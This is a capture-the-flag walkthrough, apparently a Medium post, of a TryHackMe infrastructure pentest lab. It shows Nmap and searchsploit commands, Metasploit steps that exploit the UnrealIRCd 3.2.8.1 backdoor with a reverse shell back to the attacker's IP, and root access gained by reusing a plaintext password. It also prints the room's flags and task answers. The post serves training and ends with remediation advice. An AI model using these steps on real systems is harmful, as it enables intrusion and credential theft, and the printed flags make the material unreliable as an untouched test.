Summary
TryHackMe — Guided Pentest: Infrastructure | Full Walkthrough Room: Guided Pentest: Infrastructure Difficulty: Easy Category: Penetration Testing Tags: Nmap, Metasploit, UnrealIRCd, Privilege Escalation, Linux Introduction This is a beginner-friendly penetration testing room on TryHackMe that walks you through a real-world infrastructure pentest workflow — from initial scanning all the way to rooting the machine. The methodology followed here is:
- Enumeration — Scan the target and gather information
- Vulnerability Analysis — Identify weaknesses in discovered services
- Initial Access — Exploit the vulnerability and get a shell
- Privilege Escalation — Move from a low-privilege user to root
- Reporting — Document findings professionally Let’s get into it. Step 1: Connect to TryHackMe via VPN Before anything, connect your machine to TryHackMe’s network using OpenVPN: sudo openvpn your-vpn-file.ovpn Once connected, your VPN interface (tun0 ) will have an IP address — note this down. This is your LHOST (attacker’s IP), which you’ll need later when setting up a reverse shell listener. Step 2: Enumeration — Nmap Scan With the target machine IP in hand, the first step is always reconnaissance. We use Nmap to discover open ports, running services, and their versions. nmap -sC -sV -T5 -oN nmap_result.txt <TARGET_IP> What each flag does: Flag Purpose -sC Runs Nmap’s default script engine — pulls extra info like banners, auth methods, etc. -sV Detects service versions running on each open port -T5 Sets scan speed to maximum (aggressive) -oN nmap_result.txt Saves output to a file for later reference. Scan Results: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 6667/tcp open irc UnrealIRCd (version: Unreal3.2.8.1) Two ports are open:
- Port 22 — SSH: Standard remote login service. Googling this version shows no practical exploits for us here.
- Port 6667 — IRC (UnrealIRCd 3.2.8.1): An Internet Relay Chat server. The version 3.2.8.1 is immediately suspicious — let’s dig deeper. Task Answer: Port other than 22 → 6667 Step 3: Vulnerability Research — Searchsploit Now that we know the service is UnrealIRCd 3.2.8.1, we search for known exploits using searchsploit , a command-line tool that queries the Exploit-DB offline database. searchsploit UnrealIRCd Results: UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl The first result is the most useful — a Backdoor Command Execution exploit with a Metasploit module. This version of UnrealIRCd was compromised at the source level; a backdoor was secretly inserted into the software’s official download. It allows an attacker to execute arbitrary commands on the server remotely. Task Answer: Path for Remote Downloader/Execute → linux/remote/13853.pl Step 4: Initial Access — Exploiting the UnrealIRCd Backdoor 4a. Launch Metasploit msfconsole 4b. Search for the Module msf > search Unreal3.2.8.1 One module appears: 0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent Yes UnrealIRCD 3.2.8.1 Backdoor Command Execution 4c. Load the Exploit msf > use 0 This loads the exploit/unix/irc/unreal_ircd_3281_backdoor module. You could also type the full path: use exploit/unix/irc/unreal_ircd_3281_backdoor . 4d. Check Required Options msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options The key required fields are: RHOSTS — Target machine’s IP addressRPORT — Target port (default:6667 , already set)LHOST — Your attacker IP (VPN tun0 address)LPORT — Port on your machine to receive the reverse connection 4e. Set RHOSTS and LHOST msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS <TARGET_IP> msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST <YOUR_TUN0_IP> For LPORT , the default is 4444 . If that port is already in use, you can change it to any unused non-well-known port like 5555 , 3333 , 2222 , etc. 4f. Choose a Payload We need a payload — the code that runs on the target to give us a shell. List compatible payloads: msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads Since the target is a Unix/Linux system, we filter for Unix payloads and look for a reverse shell — this makes the target machine connect back to us, which is more reliable than a bind shell through firewalls. Get Krish Gupta’s stories in your inbox Join Medium for free to get updates from this writer. The best choice here is: 377 payload/cmd/unix/reverse — Unix Command Shell, Double Reverse TCP (telnet) Set it: msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 377 Or by name: msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse 4g. Verify All Settings msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options Confirm: RHOSTS → Target IP ✅LHOST → Your tun0 IP ✅LPORT → 4444 (or your chosen port) ✅RPORT → 6667 ✅ 4h. Run the Exploit msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit The exploit connects to the IRC server, triggers the backdoor, and opens a reverse TCP connection back to your listener. A command shell session opens automatically. Verify access: whoami
Output: webmaster
We now have shell access as the webmaster user. Type shell to get a more interactive session — Metasploit will automatically detect Python3 and Bash on the target and upgrade your shell. Step 5: Finding the User Flag Now that we have a shell, let’s find flag files. The find command searches the entire filesystem: find / -type f -name “.txt” 2>/dev/null Breaking down this command: Part Meaning / Start searching from the root directory (entire filesystem) -type f Only look for files (not directories) -name “.txt” Match anything ending in .txt 2>/dev/null Redirect error messages to /dev/null (discard “Permission denied” errors) Among the many results, two files stand out: /home/webmaster/flag.txt — likely the user flag/etc/password.txt — suspicious, not a standard Linux file Read the User Flag cat /home/webmaster/flag.txt THM{Pwned-Y0ur-First-Machine} Task Answer: User flag → THM{Pwned-Y0ur-First-Machine} Step 6: Privilege Escalation — From Webmaster to Root We have user access, but we need root. Let’s check that suspicious file we found: cat /etc/password.txt The file contains: root:PDLrCVl1pLD91U0JMmCz This looks like a plaintext root password stored insecurely. From our earlier Nmap scan, we know SSH (port 22) is open. Let’s try logging in as root via SSH directly from our attacker machine (open a new terminal): ssh root@<TARGET_IP> When prompted for a password, enter: PDLrCVl1pLD91U0JMmCz root@pentest-target:~# whoami root The # prompt confirms root access ($ = normal user, # = root). Read the Root Flag cat /root/flag.txt THM{Escalat1on-D0ne} Task Answer: Root flag → THM{Escalat1on-D0ne} Step 7: Reporting (Conceptual) A penetration test is only as good as its report. The key sections of a pentest report are: Section Audience Cover Page Everyone Executive Summary Non-technical managers Technical Summary Engineering managers Vulnerability Table All stakeholders Detailed Findings Engineers who will fix the issues Task Answer: Section aimed at engineering managers → Technical Summary Example Finding from This Lab Title: Root Password Stored in Plaintext Severity: Critical Description: The root user’s password was found stored in plaintext in /etc/password.txt , readable by low-privileged users. Any user with shell access could retrieve root credentials and fully compromise the system. Exploitation Steps:
- Gain a low-privilege shell via the UnrealIRCd backdoor exploit
- Run cat /etc/password.txt to retrieve the root password - SSH into the machine as root: ssh root@<TARGET_IP> Recommendation: Remove /etc/password.txt immediately and rotate the root password. Never store credentials in plaintext. Use a secrets manager and restrict file permissions according to the principle of least privilege. Summary Phase Action Tool Enumeration Port and service scan Nmap Vulnerability Research Search for known exploits searchsploit Initial Access Exploit UnrealIRCd 3.2.8.1 backdoor Metasploit Post-Exploitation Find flag and sensitive files find, cat Privilege Escalation Use leaked root password over SSH SSH Key Takeaways
- Always save your Nmap output with -oN — you’ll need it for the report. - Version numbers matter. Unreal3.2.8.1 had a backdoor baked into its source code — a devastating supply chain vulnerability. - Never store passwords in plaintext files, especially ones readable by all users.
- After getting initial access, search for unusual files — things like password.txt in/etc/ are massive red flags. - A $ prompt means regular user. A# prompt means root. Happy Hacking! If this helped, drop a clap on Medium. 🙌